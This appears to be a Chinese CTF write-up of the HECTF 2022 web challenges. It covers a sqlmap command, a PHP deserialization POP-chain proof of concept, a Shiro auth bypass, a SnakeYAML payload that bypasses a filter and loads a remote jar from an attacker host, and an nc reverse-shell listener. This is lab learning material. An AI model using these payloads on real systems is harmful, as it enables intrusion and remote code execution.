• [HECTF 2022]—Web WirteUp


    迷路的小狮

    从头到尾凭猜,凭感觉。。。

    1. 访问/hebnu
    2. 切换为POST请求
    3. 将referer 改为 河北师范的官网地址
    4. 修改xff为127.0.0.1
    5. 得到jsfuck解码

    在这里插入图片描述

    擎天注

    没做这道题贴一个社团公众号的wp

    python3 sqlmap.py -u http://url/?id=1 --dbs -batch
    
    • 1
    image-20221108222908383

    flag 在 ctf 库下的 3eDf4f07efC9ee16 表下 flag
    在这里插入图片描述

    easy_unserialize

    一直在想怎么绕wakeup,后来才发现有一个__issert()魔法方法开始没注意到

    
    error_reporting(0);
    class A{
        public $file;
    
        public function __construct(){
            echo "Welcome to HECTF Have fun!!!😊
    "
    ; } public function __wakeup(){ if(isset($this->file->var)){ $this->file = "flag.php"; } else{ $this->file = "index.php"; } } public function __destruct(){ highlight_file($this->file); } } class B{ public $str; public $huang; public function __isset($arg) { echo "难道我真的要失败了,吗".$this->str; } public function __call($fun1,$arg) { return $this->huang->str; } } class C{ public $eee; public $aaa="who are you?"; public $ccc; public function __toString() { $this->eee->flag(); } public function __get($css) { $function = $this->ccc; return $function(); } } class D{ private $ddd; private $ext; public function flag(){ $this->ext->nisa($this->ddd); } public function __invoke() { echo new $this->ddd($this->ext); } } $gagaga = new A(); unserialize(serialize($gagaga)); $data = $_POST['data']; unserialize($data);
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71

    unserialize会调用A.__wakeup() ,wakeup里有isset,会调用B.__isset会执行echo,调用C.__toString会调用flag(),flag()方法不存在会调用B.__call,retrun str属性 属性不存在调用C.__get(),function()类当做方法使用会调用__invoke()

    __invoke()里边 是echo new a ( a( a(b)的形式 ,可以触发反序列化原生类,具体可参考之前写的:PHP反序列化原生类利用

    POC:

    <?php
    
    class A{
        public $file;
    
    }
    
    class B{
        public $str;
        public $huang;
    
    }
    
    class C{
        public $eee;
        public $aaa;
        public $ccc;
    
    }
    
    class D{
        public $ddd;
        public $ext;
    
    
    
    }
    
    $gagaga  = new A();
    $gagaga->file=new B();
    $gagaga->file->str =new C();
    $gagaga->file-> str -> eee = new B();
    $gagaga->file-> str -> eee -> huang = new C();
    $gagaga->file-> str -> eee -> huang ->ccc = new D();
    $gagaga->file-> str -> eee -> huang ->ccc ->ddd ="SplFileObject";
    $gagaga->file-> str -> eee -> huang ->ccc ->ext ="php://filter/read=convert.base64-encode/resource=../../../ffflllllaaaaaaggggg.txt";
    
    echo serialize($gagaga);
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38

    注:
    $ddd和$ext属性是私有的所以链子构造好后需要在前边加上%00D%00,并且长度+3,其次flag分成了两行SplFileObject直接读不出来,需要用伪协议的方式读取

    littleJava

    本地打通了,但不知道为什么当时题目环境不出网,还以为要写内存马,写了半天也没打通,最后看了WP原来是出网的,也不知道反弹shell时候哪里出了问题。。。。。

    shiro权限绕过

    题目中添加了添加authc拦截器,/admin/*的请求会被拦截,但存在绕过如/admin/*/后边加个斜杠"\",即可绕过,所以访问/admin/hello/即可
    在这里插入图片描述

    snakeYaml反序列化

    请求/admin/hello/后就能通过data进行yaml反序列化

    @RequestMapping({"/admin/hello"})
    @ResponseBody
    public String admin(@RequestParam(name = "data",required = false) String data, Model model) throws Exception {
        try {
            if (data.startsWith("!!")) {
                return "Hacker!!!";
            } else {
                Yaml yaml = new Yaml();
                yaml.load(data);
                return "Good Yaml";
            }
        } catch (Exception var4) {
            return "Give me one data!";
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    可以直接用现成项目,构造反弹shell命令

    在这里插入图片描述

    生成对应jar包

    javac src/artsploit/AwesomeScriptEngineFactory.java
    jar -cvf yaml-payload.jar -C src/ .
    
    • 1
    • 2

    将生成的yaml-payload.jar,放到vps上,并监听反弹shell端口

    nc -lvnp 10000
    
    • 1

    最后是构造反序列化,由于上边过滤了!!,因此需要bypass

    !<tag:yaml.org,2002:javax.script.ScriptEngineManager> 
    [!<tag:yaml.org,2002:java.net.URLClassLoader>
    [[!<tag:yaml.org,2002:java.net.URL> 
    ["http://ip/yaml-payload.jar"]]]]
    
    • 1
    • 2
    • 3
    • 4

    成功反弹shell
    在这里插入图片描述

    easyJava

    题目提示CC、CB、C3P0…

    没有给jar包只是一个没有过滤的反序列化:

    package com.butler.easyjava.MyController;
    
    import org.springframework.stereotype.Controller;
    import org.springframework.web.bind.annotation.RequestMapping;
    import org.springframework.web.bind.annotation.RequestParam;
    import org.springframework.web.bind.annotation.ResponseBody;
    
    import java.io.ByteArrayInputStream;
    import java.io.ObjectInputStream;
    import java.util.Base64;
    
    @Controller
    public class HelloController {
        @RequestMapping({"/"})
        @ResponseBody
        public String index(@RequestParam(name = "data", required = false) String data) throws Exception {
            try{
                ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(data));
                ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
                objectInputStream.readObject();
                System.out.println(data);
                return "Success";
            } catch (Exception e){
                return "Please Post RequestParam data=";
            }
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27

    尝试了下CC没打通,寻思可能内部有啥waf就没打,结果用无CC依赖CB就能直接打通。下次再有一定要都试试!!!!

    newphp

    和以往php原生类利用不同没有echo,不过能直接搜到利用方式

    • https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b
    • https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/

    后记

    剩下的是phar、pickle反序列化,没环境不打了

  • 相关阅读:
    使用RCurl和R来爬虫视频
    【笔记】【Java并发编程实战】2线程安全
    Attention is all you need (一)
    2023年 DevOps 七大趋势
    Mysql高级篇学习总结13:多表连接查询语句优化方法(带join语句)
    golang流程控制
    javaSE学习笔记(四)常见类,基本数据类型包装类,StringBuffer&StringBuilder
    使用nvm管理多版本node.js
    C++重点归纳
    Paddle使用问题No module named ‘paddle.fluid’
  • 原文地址:https://blog.csdn.net/weixin_54902210/article/details/127760992